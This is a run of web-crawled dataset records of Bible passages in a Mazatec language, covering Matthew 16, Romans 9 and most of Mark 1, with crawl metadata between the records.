5Jñà xi̱ta̱ xi kota'yàt'aà‑la̱ Jesús, k'e̱ nga tsatot'aà xijngoaà nandá, kijchàajiìn‑la̱ mìkiì ts'a i̱nchra̱jín. 6Jesús kitsò‑la̱: ―Chítsejèn‑là koa̱ ti̱kinda̱a yijo‑nò i̱t'aà ts'e̱ na̱'yo̱ san‑la̱ xi̱ta̱ fariseo ko̱ xi̱ta̱ saduceo. 7Xi̱ta̱ xi kota'yàt'aà‑la̱ Jesús tsohóko̱ xíkjín, kitsò‑la̱: ―Koií ko̱tsò‑ná nga mìkiì kich'á i̱nchra̱jín. 8Jesús ni̱to̱ón kijtseèya‑la̱, kitsò‑la̱: ―¿Mé‑ne ko̱kixón‑nò nga tsjìn‑nò i̱nchra̱jín? 'Ñó chi̱ba̱ mokjeiín‑nò i̱t'aà ts'a̱n. 9¿A mì machi̱ya‑nò, a mì bítsjeèn‑nò k'e̱ nga kisìka'biá i̱nchra̱jín xi 'òn ma‑ne koa̱ 'òn jmiì xi̱ta̱ x'i̱n tsakjèn? ¿Kó tjín ni̱si̱yá tsibíxkó‑ìsa? 10¿A mì tíjiìn‑nò ti̱koa̱á k'e̱ nga kisìka'biá i̱nchra̱jín xi itoò ma‑ne ko̱ ñijòn jmiì xi̱ta̱ tsakjèn? ¿Kó tjín ni̱si̱yá tsibíxkó‑ìsa? 11¿Mé‑ne nga mìkiì machi̱ya‑nò nga 'a̱n mìtsà koi xi o̱tìxan‑nò i̱t'aà ts'e̱ i̱nchra̱jín? Jè‑né nga ti̱kinda̱a yijo‑nò na̱'yo̱ san‑la̱ xi̱ta̱ fariseo ko̱ xi̱ta̱ saduceo. 12K'e̱é kjòchi̱ya‑la̱ nga jè Jesús k'e̱ nga o̱kitsò‑la̱: \"Ti̱kinda̱a yijo‑nò\", mìtsà na̱'yo̱ san‑la̱ i̱nchra̱jín xi tsibéno̱jmí‑la̱, jñà kjo̱hítsjeèn xi okóya jñà xi̱ta̱ fariseo ko̱ xi̱ta̱ saduceo. 13K'e̱ nga ijchò Jesús ya̱ i̱'nde ñánda 'mì Cesarea ts'e̱ Filipo kiskònangui‑la̱ jñà xi̱ta̱ xi kota'yàt'aà‑la̱. Kitsò‑la̱: ―¿Kó tsò jñà xi̱ta̱? ¿Yá‑ná 'a̱n xi Ki'ndí‑la̱ Xi̱ta̱ xan‑la̱ yijo‑na̱? 14Kitsò jñà xi̱ta̱ xi kota'yàt'aà‑la̱: ―Tjín xi tsò: \"Jè Juan xi kis'iìn bautizar xi̱ta̱.\" Ko̱ tjín xi tsò: \"Jè Elías.\" Ti̱koa̱á tjín xi̱ta̱ xi tsò: \"Jè Jeremías.\" Ko̱ xi kj'ei̱í xi̱ta̱ tsò‑né: \"Jngoò xi̱ta̱ xi kiìchja̱ ngajo‑la̱ Nainá.\" 15K'e̱é kitsò Jesús: ―¿Koa̱ jñò, kó bixón? ¿Yá‑ná 'a̱n? 16K'e̱é kiìchja̱ Simón Pedro kitsò: ―Ji̱‑né xi Cristo [xi xó kisìkasén‑ne Nainá], Ki'ndí‑la̱ Nainá xi tíjnakon. 17I̱kjoàn kiìchja̱ Jesús; kitsò‑la̱: ―Mé tà ndaà‑lè nga ji̱ Simón, ki'ndí‑la̱ Jonás. Jè Nainá xi tíjna ngajmiì tsakó‑lè ngats'iì kjoa̱ koi; mìtsà xi̱ta̱ i̱sò'nde tsibéno̱jmí‑lè. 18'A̱n, k'oa̱á xán‑lè nga Pedro 'mì‑lè [nga nda̱jo̱ tsò‑ne]; ya̱á i̱sòn nda̱jo̱ jè kìndaàsoàn na̱xa̱ndá‑na̱; na̱s'ín jè nga'ñó‑la̱ kjoa̱biyaà mìkiì si̱ìkijne‑la̱ jñà xi̱ta̱ na̱xa̱ndá‑na̱. 19'A̱án tsjaà‑lè ibi̱‑la̱ xotjoa̱‑la̱ na̱xa̱ndá xi jè otíxoma‑la̱ jè xi ngajmiì nchrobá‑ne; ngats'iì kjoa̱ xi koi̱'ndi i̱ i̱sò'nde, ti̱koa̱á ján ngajmiì Nainá tsjá'nde‑né; ko̱ jñà kjoa̱ xi mìkiì koi̱'ndi i̱ i̱sò'nde, ti̱koa̱á ján ngajmiì, Nainá mìkiì tsjá'nde. 20Jesús kitsò‑la̱ jñà xi̱ta̱ xi kota'yàt'aà‑la̱: ―Kì yá xi bèno̱jmí‑là nga 'a̱n‑ná xi Cristo [nga 'a̱án kisìkasén‑na Nainá]. 21Ti̱koi̱‑ne na̱chrjein Jesús tsibíts'ia̱ nga tsibéno̱jmíya‑la̱ xi̱ta̱ xi kota'yàt'aà‑la̱ nga jè, ján kjoi̱ Jerusalén, koa̱ jñà xi̱ta̱ jchínga ko̱ xi̱ta̱ sko̱‑la̱ no̱'miì ko̱ xi̱ta̱ xi okóya kjo̱tíxoma‑la̱ Nainá xi kiskiì Moisés, tseé kjo̱'in tsjá‑la̱. Si̱ìk'en‑né. Ta̱nga k'e̱ nga ki̱jchò jàn na̱chrjein, kjoa̱áya‑la̱. 22Jè Pedro k'e̱é kiìko̱ Jesús ñánda i̱t'aà xìn nga kiìchja̱ko̱ nga mìkiì ndaà tjín koni tsò. Kitsò‑la̱: ―Na̱'èn, kì k'oa̱á s'ín nìkítsjiìn. Mì k'oa̱á tsò Nainá nga k'oa̱s'ín ko̱mat'in. 23Ta̱nga Jesús kisìkáfaya, kitsò‑la̱ jè Pedro: ―Ti̱si̱t'aàxín‑ná ji̱ xi̱ta̱ nei̱í. Tà mejèn‑lè nga jé binchaàtsji‑ná. Mìtsà k'oa̱s'ín nìkítsjiìn koni s'ín tjín kjo̱hítsjeèn‑la̱ Nainá. Ngaji̱ tà k'oa̱á s'ín nìkítsjiìn koni s'ín tjín kjo̱hítsjeèn‑la̱ xi̱ta̱. 24Jesús k'e̱é kitsò‑la̱ xi̱ta̱ xi kota'yàt'aà‑la̱: ―Tsà yá xi mejèn‑la̱ nga xi̱ta̱ ts'a̱n ko̱ma, kàtatsjeiìn‑takòn mé xi mejèn‑la̱ yijo‑la̱; koni jngoò xi̱ta̱ xi 'yajen krò‑la̱, kàtìjnandaà nga si̱ìkjeiín kjo̱'in xi kjoa̱ ts'a̱n; ndaà kàtjìt'aà‑na. 25Nga ni̱ta̱ yá xi̱ta̱ xi mejèn‑la̱ ko̱chrjetjì yijo‑la̱ nga ni̱mé kjo̱'in sa̱kò‑la̱, tà sa̱á si̱ìchija‑né ko̱ kjo̱'in kíjnajiìn; ta̱nga jè xi tíjnandaà nga tsjá yijo‑la̱ xi kjoa̱ ts'a̱n, sa̱kò‑la̱ kjoa̱binachon nga i̱t'aà ts'a̱n ndaà kíjna. 26¿Mé xi si̱ìkijne jngoò xi̱ta̱ na̱s'ín tjoé yije‑la̱ i̱sò'nde tsà si̱ìchja ini̱ma̱‑la̱? Ni̱mé. ¿A ko̱maá koi̱ìchjí kjoa̱biyaà jngoò xi̱ta̱ xi majìn‑la̱ nga ki̱yá? Majìn. 27'A̱n xi Ki'ndí‑la̱ Xi̱ta̱ xan‑la̱ yijo‑na̱ ki̱tjojeén ìjngoò k'a‑na nga kjoi̱koa̱a kjoa̱jeya‑la̱ Na̱'èn‑na̱ ko̱ àkja̱le̱‑la̱ nga sichikon‑t'ian nga jngoò ìjngoò xi̱ta̱ koni s'ín kisìkitasòn. 28O̱kixi̱í xi xan‑nò, títsa̱jnajiìn i'nga i̱jndé xi̱ta̱ xi mì kì ki̱yá skanda k'e̱ nga skoe̱‑na xi Ki'ndí‑la̱ Xi̱ta̱ xan‑la̱ yijo‑na̱ nga kítjo̱je̱n ìjngoò k'a nga kotiìxoma.\nSan Mateo 16","id":"","dump":"CC-MAIN-2013-48","url":"http:\/\/www.bible.is\/MAASJV\/Matt\/16","date":"2013-12-06T04:43:42Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2013-48\/segments\/1386163049486\/warc\/CC-MAIN-20131204131729-00046-ip-10-33-133-15.ec2.internal.warc.gz","language":"maa","language_score":1.0000082254,"language_script":"Latn","minhash_cluster_size":20,"top_langs":"{\"maa_Latn_score\": 1.000008225440979}","num_words":709,"character_repetition_ratio":0.076,"word_repetition_ratio":0.0,"special_characters_ratio":0.233,"stopwords_ratio":0.329,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"1O̱kixi̱í xi xan i̱t'aà ts'e̱ Cristo; mì 'én ndiso chjà; jè Ini̱ma̱ Tsjeè‑la̱ Nainá síkíchi̱ya‑la̱ kjo̱hítsjeèn‑na̱ nga tsjá 'én i̱t'aà ts'a̱n, 2nga kjit'aà na̱chrjein ba tjín‑na̱ koa̱ 'on ma‑la̱ ini̱ma̱‑na̱, 3i̱t'aà ts'e̱ jñà xi̱ta̱ 'ndsè xi xinguia̱a ma koi‑né nga 'ñó matsjake̱. 'Ñó mejèn‑na nga kàtasakó‑la̱ kjo̱ndaà. Skanda ko̱maá‑là kósi̱t'aàxìn‑la̱ Cristo tsà k'oa̱s'ín sa̱kò‑la̱ kjo̱ndaà jñà xi̱ta̱ xinguia̱a xi ts'e̱ na̱xa̱ndá Israel, ta̱nga mìkiì tjí'nde‑na nga ko̱s'ín s'iaàn. 4Nga̱ jñà xi̱ta̱ Israel, jè Nainá kiskoétjò nga i̱xti‑la̱ ma, ko̱ ya̱á ki'ya‑la̱ kjoa̱jeya‑la̱ Nainá, ko̱ kitjoé‑la̱ jñà kjoa̱ xi tsibíndaàjiìn‑ko̱, ti̱koa̱ kitjoé‑la̱ kjo̱tíxoma‑la̱ Moisés, ko̱ kitjoé‑la̱ o̱kixi̱ kós'ín skoe̱xkón Nainá, ko̱ kitjoé‑la̱ 'én koni s'ín kitsjaà‑la̱ tso'ba Nainá. 5Jñà xi̱ta̱ Israel ya̱á inchrobàt'aà‑ne ts'e̱ xi 'ñó xi̱ta̱ jchínga kjiìn xi Nainá xó jaàjiìn‑ne. Jè Cristo [xi xó kisìkasén‑ne Nainá] nga xi̱ta̱ i̱sò'nde komà, ya̱á inchrobàt'aà‑ne i̱t'aà ts'e̱ xi̱ta̱ jchínga koi. Jè Cristo xi Nainá; jè otíxoma yije‑la̱ kjoa̱; jeya kàtìjna ni̱ta̱ kjé‑ne. K'oa̱s'ín kàtama. 6[Nga mìtsà mokjeiín‑la̱ ngats'iì xi̱ta̱ Israel], mìtsà koi kjoa̱‑la̱ nga jè 'én‑la̱ Nainá mìkiì bitasòn. Koi‑né nga i̱t'aà ts'e̱ Nainá, mìtsà ngats'iì xi̱ta̱ xi ya̱ nchrobát'aà‑ne tje̱‑la̱ Israel nga nguì kixi̱ kjoa̱ nga ya̱ chja̱‑ne. 7Na̱s'ín ya̱ tje̱n‑la̱ i̱t'aà ts'e̱ Abraham, mìtsà ngats'iì nga kitjoé‑la̱ kjo̱ndaà nga i̱xti‑la̱ ma. Nga k'oa̱á tsò Xo̱jo̱n‑la̱ Nainá: \"Jñà xi̱ta̱ tje̱‑lè, ya̱á kji̱nchrobà‑ne i̱t'aà ts'e̱ Isaac.\" 8Kjoa̱ koi, k'oa̱á tsòya‑ne, nga jñà i̱xti‑la̱ Nainá, mìtsà jè xi chjí‑la̱ yá ts'e̱ tje̱ xi nchrobát'aà‑ne. Ta jñà‑né xi i̱xti‑la̱ Nainá ma jñà xi jye k'oa̱s'ín kitsjaà tso'ba Nainá nga i̱xti‑la̱ ko̱ma. Tà jñá‑né xi k'oa̱s'ín oxki̱t'aà nga kixi̱ kjoa̱ nga nguì tje̱‑la̱ Abraham ma. 9Nga̱ jè 'én xi Nainá kitsjaà‑la̱ tso'ba Abraham, k'oa̱á tsò: \"Jè nó xi sa̱ nchrobá kjoi̱í ìjngoò k'a‑na; jè Sara, ki'ndí s'e̱ jngoò‑la̱.\" 10Mìtsà ta jñá kjoa̱ koi xi komà. Ti̱koa̱á jè Rebeca kis'e‑la̱ i̱xti'ño̱ xi ts'e̱ Isaac, jè xi xi̱ta̱ jchínga‑ná ma. 11Nainá k'oa̱á s'ín kitsjaà tso'ba k'e̱ nga ti̱kj'eè ts'iìn jñà i̱xti'ño̱ nga ti̱kj'eè kiì 'ya‑la̱ mé kjoa̱ xi s'i̱in, a jè xi ndaà tjín, o jè xi mìkiì ndaà tjín. K'oa̱á s'ín kjòkixi̱ nga Nainá tjí'nde‑la̱ nga kjoa̱ájiìn xi̱ta̱ koni s'ín jye tjíndaà‑la̱ nga ki̱chja̱‑la̱ jñà xi̱ta̱ xi jè mejèn‑la̱. Mìtsà kinda̱ s'ín mé xi jye kis'iìn xi̱ta̱. 12Nainá k'oa̱á kitsò‑la̱ Rebeca: \"Jè ti‑lè xi jts'ín ítjòn, chi̱'nda‑lá ko̱ma jè xi i̱skan jts'ín.\" 13K'oa̱á s'ín tíchja̱ Xo̱jo̱n‑la̱ Nainá nga tsò: \"Jè Jacob kjòtsjakeè‑ná, ko̱ jè Esaú kòjtikeè‑ná.\" 14¿Mé xi kixoán? Nainá, ¿a mìtsà kjoa̱ kixi̱ xi s'ín? Majìn, mì k'oa̱á s'ín tjín. 15Nainá k'oa̱á kitsò‑la̱ Moisés: \"Ko̱hi̱ma̱keè‑ná xi 'a̱n mejèn‑na̱ nga ko̱hi̱ma̱keè, skoehi̱ma̱‑ná jè xi mejèn‑na̱ nga skoehi̱ma̱.\" 16K'oa̱á s'ín tjín kjoa̱ koi, mìtsà koi nga jñá mejèn‑ná nga s'e̱‑ná, ni̱ mìtsà koi nga 'ñó binchaàtsjiaá; jè Nainá tsjá‑la̱ kjo̱ndaà‑la̱ jñà xi̱ta̱ xi jè mejèn‑la̱ mahi̱ma̱keè. 17K'oa̱á s'ín tíchja̱ Xo̱jo̱n‑la̱ Nainá nga kitsò‑la̱ Faraón: \"Koií k'oa̱s'ín kisìkíjna‑lè nga xi̱ta̱xá tijni ya̱ na̱xa̱ndá Egipto mé‑ne nga i̱t'aà tsi̱ji kokoaà nga'ñó‑na̱ ti̱koa̱ skoe̱xkon‑na xi̱ta̱ nga tíjtsa i̱sò'nde.\" 18K'oa̱á s'ín s'ín Nainá, tjín‑la̱ kjo̱hi̱ma̱takòn i̱t'aà ts'e̱ xi̱ta̱ xi jè mejèn‑la̱; ti̱koa̱á ma‑la̱ sítájaàjiìn ini̱ma̱‑la̱ xi̱ta̱ xi jè mejèn‑la̱ nga kàtasítájaàjiìn ini̱ma̱‑la̱. 19Ta̱nga tsà ji̱ k'oa̱ k'oín‑ná: \"Tsà k'oa̱s'ín s'ín Nainá, ¿mé‑ne jé bínè‑la̱ jñà xi̱ta̱?, nga ni̱ yá xi̱ta̱ xi ko̱ma kondra̱ kjoi̱‑la̱ koni s'ín mejèn‑la̱ jè.\" 20Ta̱nga ji̱, xi ta̱xki̱ xi̱ta̱‑né, ¿yá‑né ji̱, nga Nainá otìkjoòkoi̱i? Jngoò ti̱jí xi xó kisindaà‑ne, ¿a ko̱maá ki̱tso̱‑la̱ jè xi tsibíndaà: \"Mé‑ne k'oa̱s'ín tsibìndaà‑ná\"? 21¿A mì tjí'nde‑la̱ jè xi ma‑la̱ bíndaà ti̱jí ni'nde nga ti̱jè‑ne ndási koi̱ìndaà jngoò‑ne ti̱jí xi tà k'e̱ mochjeén k'e̱ nga tjín s'eí koa̱ koi̱ìndaà jngoò xi na̱chrjein nchijòn mochjeén? 22Tsà Nainá mejèn‑la̱ tsakó kjoa̱jti‑la̱ ko̱ nga'ñó‑la̱, ¿a ch'o tjín nga kiskoòñà kjoa̱ i̱t'aà ts'e̱ xi̱ta̱ xi tjoé‑la̱ kjo̱'in ko̱ xi tjínè‑la̱ nga kjoe̱hesòn? 23Mìtsà ch'o tjín; nga koií k'oa̱s'ín kis'iìn‑ne mé‑ne nga ma tsakó kjoa̱jeya‑la̱ xi i̱t'aà tsa̱ján nga kjòhi̱ma̱keè‑ná. Nga jè tsibítsa̱jnandaà‑ná skanda ti̱sa̱ kjòtseé, mé‑ne ti̱koa̱ s'e̱‑ná kjoa̱jeya‑la̱. 24Nainá k'oa̱á s'ín xó kiìchja̱‑ná. Tjín xi̱ta̱ xi ya̱ itjokàjiìn ts'e̱ xi̱ta̱ judío; ti̱koa̱á tjín xi̱ta̱ xi ya̱ itjokàjiìn ts'e̱ xi ta̱xki̱ xi̱ta̱ xi mìtsà xi̱ta̱ judío. 25K'oa̱á s'ín tíchja̱ xo̱jo̱n‑la̱ Oseas xi̱ta̱ xi kiìchja̱ ngajo‑la̱ Nainá nga tsò: Jè xi mìtsà na̱xa̱ndá‑na̱ ma nga sa̱ ítjòn, na̱xa̱ndá ts'a̱án ko̱ma; jè xi mì tjòkeè kijtseè nga sa̱ ítjòn, tjòkeè skoeè. 26Ti ya̱‑ne i̱'nde ñánda o̱ki'mì‑nò: \"Mìtsà na̱xa̱ndá ts'a̱n xan‑nò\", \"i̱xti‑la̱ Nainá xi tíjnakon\" k'oín‑nò. 27Isaías, xi̱ta̱ xi kiìchja̱ya̱ ngajo‑la̱ Nainá, k'oa̱á ti̱ tsò i̱t'aà ts'e̱ na̱xa̱ndá Israel: \"Na̱s'ín kjín jchán ma‑ne i̱xti‑la̱ koni tsomì ts'e̱ ndáchikon, tà chiba ma‑ne xi ki̱tjokàjiìn kjo̱'in. 28Nga jè Na̱'èn‑ná ni̱to̱ón si̱ìkitasòn jè kjoa̱kixi̱‑la̱ xi jye jè kitsjaà koni s'ín tjínè‑la̱ jñà xi̱ta̱ nga tíjtsa i̱sò'nde.\" 29Koni s'ín kitsò Isaías nga ti̱sa̱ ítjòn: Jè Na̱'èn‑ná, xi tse nga'ñó tjín‑la̱, tsà mìkiì kisìkiningui chiba‑ne tje̱‑ná, jyeé‑la kisìkjehesòn yije‑ná koni kisìko̱ na̱xa̱ndá Sodoma ko̱ na̱xa̱ndá Gomorra. 30¿Mé xi kixoán? Jñà xi mìtsà xi̱ta̱ judío, xi mìkiì fìtji̱ngui‑la̱ kjoa̱ kixi̱, i̱'ndei̱, jyeé xi̱ta̱ kixi̱‑né nga nguixko̱n Nainá tà koií kjoa̱‑la̱ nga mokjeiín‑la̱ i̱t'aà ts'e̱ Nainá. 31Ta̱nga jñà xi̱ta̱ Israel xi fìtji̱ngui‑la̱ Kjo̱tíxoma‑la̱ Moisés nga nchihótsji nga kixi̱ kítsa̱jna nguixko̱n Nainá mìkiì ijchòtji̱ngui‑la̱. 32¿Mé‑ne nga k'oa̱s'ín komà‑ne? Koií kjoa̱‑la̱ nga mìkiì mokjeiín‑la̱ i̱t'aà ts'e̱ Nainá. Tà k'oa̱á s'ín 'ñó tsohót'aàhikon nga ndaà tjín kjoa̱ xi kis'iìn i̱t'aà ts'e̱ Kjo̱tíxoma. K'oa̱á ma‑ne [k'e̱ nga j'iì Cristo] ya̱á kisatíngui koni jngoò Nda̱jo̱ xi kijnahikòn. 33Xo̱jo̱n‑la̱ Nainá k'oa̱á s'ín tíchja̱ [i̱t'aà ts'e̱ Cristo] nga tsò: Ya̱ nindoò Sión kijnaá jngoaá nda̱jo̱ xi kíjnahikòn, jngoò Nda̱jo̱ xi satíngui xi̱ta̱, ta̱nga jè xi ko̱kjeiín‑la̱ i̱t'aà ts'e̱ Nda̱jo̱ jè mìkiì ko̱sobà‑la̱.\nRomanos 9","id":"","dump":"CC-MAIN-2013-48","url":"http:\/\/www.bible.is\/MAASJV\/Rom\/9","date":"2013-12-12T11:59:29Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2013-48\/segments\/1386164582561\/warc\/CC-MAIN-20131204134302-00048-ip-10-33-133-15.ec2.internal.warc.gz","language":"maa","language_score":1.0000084639,"language_script":"Latn","minhash_cluster_size":24,"top_langs":"{\"maa_Latn_score\": 1.000008463859558}","num_words":900,"character_repetition_ratio":0.071,"word_repetition_ratio":0.0,"special_characters_ratio":0.237,"stopwords_ratio":0.326,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"1I̱ mats'ia̱‑ne 'én ndaà‑la̱ Jesucristo xi Ki'ndí‑la̱ Nainá. 2K'oa̱á s'ín komà koni s'ín tjít'aà xo̱jo̱n‑la̱ Isaías xi̱ta̱ xi kiìchja̱ ngajo‑la̱ Nainá nga kitsò: 'A̱n, sìkasén ítjòn‑lè xi̱ta̱‑na̱ xi kji̱ko̱ 'én, jè xi koi̱ìndaàya ítjòn‑lè ndi̱yá‑lè. 3Na'yà‑la̱ jta̱‑la̱ jngoò xi̱ta̱ xi 'ñó chja̱ ya̱ i̱'nde i̱t'aà xìn ñánda nangui kixì choòn, nga tsò: \"Tjandaà ndi̱yá‑la̱ Nainá ya̱ i̱jiìn ini̱ma̱‑nò; kixi̱ ti̱kájna koni jngoò ndi̱yá ñánda ko̱jmeèya Na̱'èn‑ná.\" 4K'oa̱á s'ín komà; j'iì jè Juan nga kis'iìn bautizar xi̱ta̱ ya̱ i̱'nde i̱t'aà xìn ñánda nangui kixì choòn. Kiìchja̱ya nga kàtasíkájno jé‑la̱ jñà xi̱ta̱ nga mì ti̱ jé ko̱hótsji‑ne, i̱kjoàn kàtas'ín bautizar yijo‑la̱ mé‑ne nga si̱ìjchàat'aà‑la̱ Nainá jé‑la̱. 5Kjìn xi̱ta̱ ijchò 'nchré‑la̱ Juan xi inchrobà‑ne nangui Judea ko̱ na̱xa̱ndá Jerusalén. K'e̱ nga jye jahatakòn jé‑la̱ jñà xi̱ta̱, jè Juan kis'iìn bautizar ya̱ nandá xa̱jngá nandá Jordán. 6Nikje xi tsohòkjá Juan, tsja̱‑la̱ cho̱ camello‑né; ko̱ jngoò sincho̱ chrjoa̱ tsibíkjá ndáyá‑la̱; tsojmì xi kiskine Juan, jñà cho̱ langosta, ko̱ tsjén‑la̱ cho̱ cera xi tjín i̱jiìn ijñá. 7K'oa̱á s'ín kiìchja̱ nga tsò: ―Ìjngoò nchrobátji̱ngui‑na xi ìsa̱ tse nga'ñó tjín‑la̱ mì k'oa̱à‑ne koni 'a̱n, skanda mì kì tjí'nde‑na nga kósi̱ñiat'aà‑la̱ nga skíjnda̱ jè xo̱x'ín‑la̱ xo̱jté‑la̱. 8Kixi̱í kjoa̱ 'a̱n, ta nandá s'iìn‑na bautizar xi̱ta̱, ta̱nga jè xi sa̱ nchrobátji̱ngui‑na, ko̱ó Ini̱ma̱ Tsjeè‑la̱ Nainá s'iìn‑nò bautizar. 9Jngoò na̱chrjein j'iì‑ne Jesús ya̱ Nazaret, nangui xi chja̱‑ne Galilea; i̱kjoàn jè Juan kis'iìn bautizar ya̱ nandá xa̱jngá nandá Jordán. 10K'e̱ nga itjokàjiìn‑ne nandá Jesús, ni̱to̱ón kijtseè nga kitáx'a̱ ngajmiì koa̱ jè Ini̱ma̱ Tsjeè‑la̱ Nainá inchrobàjen 'nè‑la̱ koni jngoò ni̱se paloma. 11Koa̱ kina'yà jngoò‑la̱ 'én xi ngajmiì inchrobà‑ne xi kitsò: ―Ji̱‑né xi ki'ndí‑na̱, xan‑lè, xi 'ñó matsjake̱‑lè, tsja tjín‑la̱ takoàn i̱t'aà tsi̱ji. 12Nga komà i̱skan jè Ini̱ma̱ Tsjeè‑la̱ Nainá kisìkasén Jesús ya̱ i̱'nde i̱t'aà xìn ñánda nangui kixì choòn. 13Ichán na̱chrjein tsibìjna; tsibìjnajiìn‑la̱ cho̱ ts'e̱n ko̱ jè xi̱ta̱ nei̱í kiskoòt'aà nga mejèn‑la̱ nga kàtátsji jé. Ta̱nga jñà àkja̱le̱ kisìs'in‑la̱. 14K'e̱ nga jye kiì nda̱yá Juan xi kis'iìn bautizar xi̱ta̱, Jesús kiì ján Galilea nga kiìchja̱ya 'én ndaà‑la̱ Nainá koni s'ín otíxoma Nainá. 15Kitsò: ―Jye kjòchrañàt'aà‑nò na̱chrjein nga jcha̱a kós'ín otíxoma Nainá. Ti̱kájno jé‑nò, kì ti̱ jé binchaàtsji‑nò; kàtakjeiín‑nò 'én ndaà‑la̱ Nainá. 16Jesús, k'e̱ nga ja i̱ndiì ndáchikon Galilea, kijtseè xi 'mì Simón ko̱ 'ndse̱ Andrés nga nchisíkatje̱n‑nguindá na̱'ya‑la̱. Xi̱ta̱ koi, ti̱ín sík'en. 17Jesús kitsò‑la̱: ―Nchrobátji̱ngui‑ná, 'a̱n tsjaà‑nò xá nga kíxkóya xi̱ta̱ xi 'a̱n kjìt'aà‑na koni s'ín maxkóya ti̱n k'e̱ nga nìk'eèn. 18Jñà xi̱ta̱ koi ni̱to̱ón kisìkájna na̱'ya‑la̱ nga kiìtji̱ngui‑la̱ Jesús. 19Ìsa̱ xijngoaà ìsa̱, Jesús kijtseè xi 'mì Jacobo ko̱ 'ndse̱ Juan, i̱xti‑la̱ Zebedeo nga títsa̱ya chitso; nchibíndaàya na̱'ya‑la̱. 20Ti̱koa̱á ni̱to̱ón kiìchja̱‑la̱ xi̱ta̱ koi; ya̱á kiìtji̱ngui‑la̱ Jesús; kisìkíjna Zebedeo xi na̱'èn‑la̱ ma, ko̱ xi̱ta̱ chi̱'nda xi síxáko̱ ya̱ i̱ya chitso. 21Ijchò na̱xa̱ndá Capernaum; k'e̱ nga jye ijchò na̱chrjein nìkjáya, jahas'en ni'ya i̱ngo̱ sinagoga ts'e̱ xi̱ta̱ judío; i̱kjoàn tsakóya 'én‑la̱ Nainá. 22Jñà xi̱ta̱, tà k'oa̱á komà‑la̱ koni tsò 'én xi tsakóya. K'oa̱á s'ín tsakóya koni jngoò xi̱ta̱ xi 'ñó tjín‑la̱ kjo̱tíxoma; mìtsà k'oa̱s'ín tsakóya koni xi̱ta̱ xi okóya kjo̱tíxoma‑la̱ Nainá xi kiskiì Moisés. 23Ya̱ ni'ya i̱ngo̱ sinagoga tíjna jngoò xi̱ta̱ xi ini̱ma̱ ch'o‑la̱ nei̱í tíjiìn ini̱ma̱‑la̱. 'Ñó kiìchja̱ nga kitsò: 24―Ji̱ Jesús, xi Nazaret tsi̱ji, ¿mé xi mejèn‑lè? ¿Mé xi binchaàtsji? ¿A kòf'i̱ nìkjehesòn‑náje̱n? Bexkon‑lè; ji̱‑né xi Xi̱ta̱ Tsjeè‑la̱ Nainá. 25Ta̱nga Jesús tsohótiko̱ jè ini̱ma̱ cho̱‑la̱ nei̱í, kitsò‑la̱: ―Jyò ti̱jni, titjo̱jiìn ini̱ma̱‑la̱ xi̱ta̱ jè. 26Jè ini̱ma̱ cho̱‑la̱ nei̱í kisìkatsé koa̱ kiskindàya xá, i̱kjoàn itjojiìn ini̱ma̱‑la̱ xi̱ta̱ jè. 27Ngats'iì xi̱ta̱ xi títsa̱jna, tà k'oa̱á ko̱ma‑la̱; xki̱ xi ján tsohóko̱ xíkjín; kitsò: ―¿Mé kjoa̱‑ne koi? Jngoò kjoa̱ xi̱tse̱ okóya xi tjín‑la̱ kjo̱tíxoma. Skanda jñà ini̱ma̱ cho̱‑la̱ nei̱í tsjá‑la̱ o̱kixi̱, ko̱ 'nchréñijon‑la̱. 28Jesús, ni̱to̱ón kina'yà‑la̱ kóho̱kji nga jngoò itjandiì nangui xi chja̱‑ne Galilea. 29Jesús, k'e̱ nga itjo‑ne ni'ya i̱ngo̱ sinagoga, kjihijtako̱ Jacobo ko̱ Juan, ni̱to̱ón kiì ya̱ ni'ya‑la̱ ñánda tíjna Simón ko̱ Andrés. 30Jè na̱chíya‑la̱ Simón, kijna xk'én‑né. Ch'in tìjnga tjín‑la̱. Ni̱to̱ón kis'eno̱jmí‑la̱ Jesús. 31I̱kjoàn kiìkasìt'aà chrañà‑la̱; kitsobà'ñó tsja; kisìkasítje̱n. Ko̱ ni̱to̱ón kitjaàxìn‑la̱ ch'in tìjnga. I̱kjoàn chjo̱ón jè, kisìs'in‑la̱ Jesús ko̱ xi̱ta̱ xi kjihijtako̱. 32K'e̱ nga jye kiskaàtjì ts'oí nga jye kòjñò, j'iìko̱‑la̱ Jesús ngats'iì xi̱ta̱ xk'én ko̱ xi ini̱ma̱ cho̱‑la̱ nei̱í tíjiìn ini̱ma̱‑la̱. 33Ngats'iì xi̱ta̱ na̱xa̱ndá, ya̱á kitseèjto xotjoa̱ ni'ya. 34Jesús, kjìn jchán xi̱ta̱ kisìndaà‑ne xi kjìn ska̱ya ch'in tjín‑la̱ ti̱koa̱á tsachrjekàjiìn ini̱ma̱ ch'o‑la̱ nei̱í xi tíjiìn ini̱ma̱‑la̱ xi̱ta̱; Jesús mìkiì kitsjaà'nde nga jñà nei̱í kiìchja̱ nga jñà ini̱ma̱ ch'o‑la̱ nei̱í jyeé beèxkon yá‑né Jesús. 35'Ñó ta̱jñòya tsasítje̱n Jesús; tákó jñò‑ìsa nga itjojiìn na̱jnchra̱; kiì jngoò i̱'nde i̱t'aà xìn ñánda tsjìn xi̱ta̱ nga kiìchja̱t'aà‑la̱ Nainá. 36Simón ko̱ xi̱ta̱ xíkjín xi i'nga, kiì kátsji Jesús. 37K'e̱ nga jye kisakò‑la̱ ñánda tíjna Jesús, kitsò‑la̱: ―Ngats'iì xi̱ta̱, ji̱í ótsji‑lè. 38Kiìchja̱ Jesús, kitsò: ―Ti̱koa̱ tíkjiaán jñà na̱xa̱ndá chrañàt'aà nga kichjàya 'én‑la̱ Nainá nga koií xá j'i̱‑na. 39K'oa̱á s'ín tsajmeè Jesús kóho̱kji i̱'nde Galilea nga kiìchja̱ya 'én‑la̱ Nainá ya̱ ni'ya i̱ngo̱ sinagoga nga xki̱ xi ján na̱xa̱ndá. Ti̱koa̱á tsachrjekàjiìn‑ne ini̱ma̱ cho̱‑la̱ nei̱í xi tíjiìn ini̱ma̱‑la̱ xi̱ta̱. 40J'iìkon jngoò xi̱ta̱ xi tíbindojno chrjoa̱ yijo‑la̱. Tsasèn-xkó'nchit'aà‑la̱ Jesús, 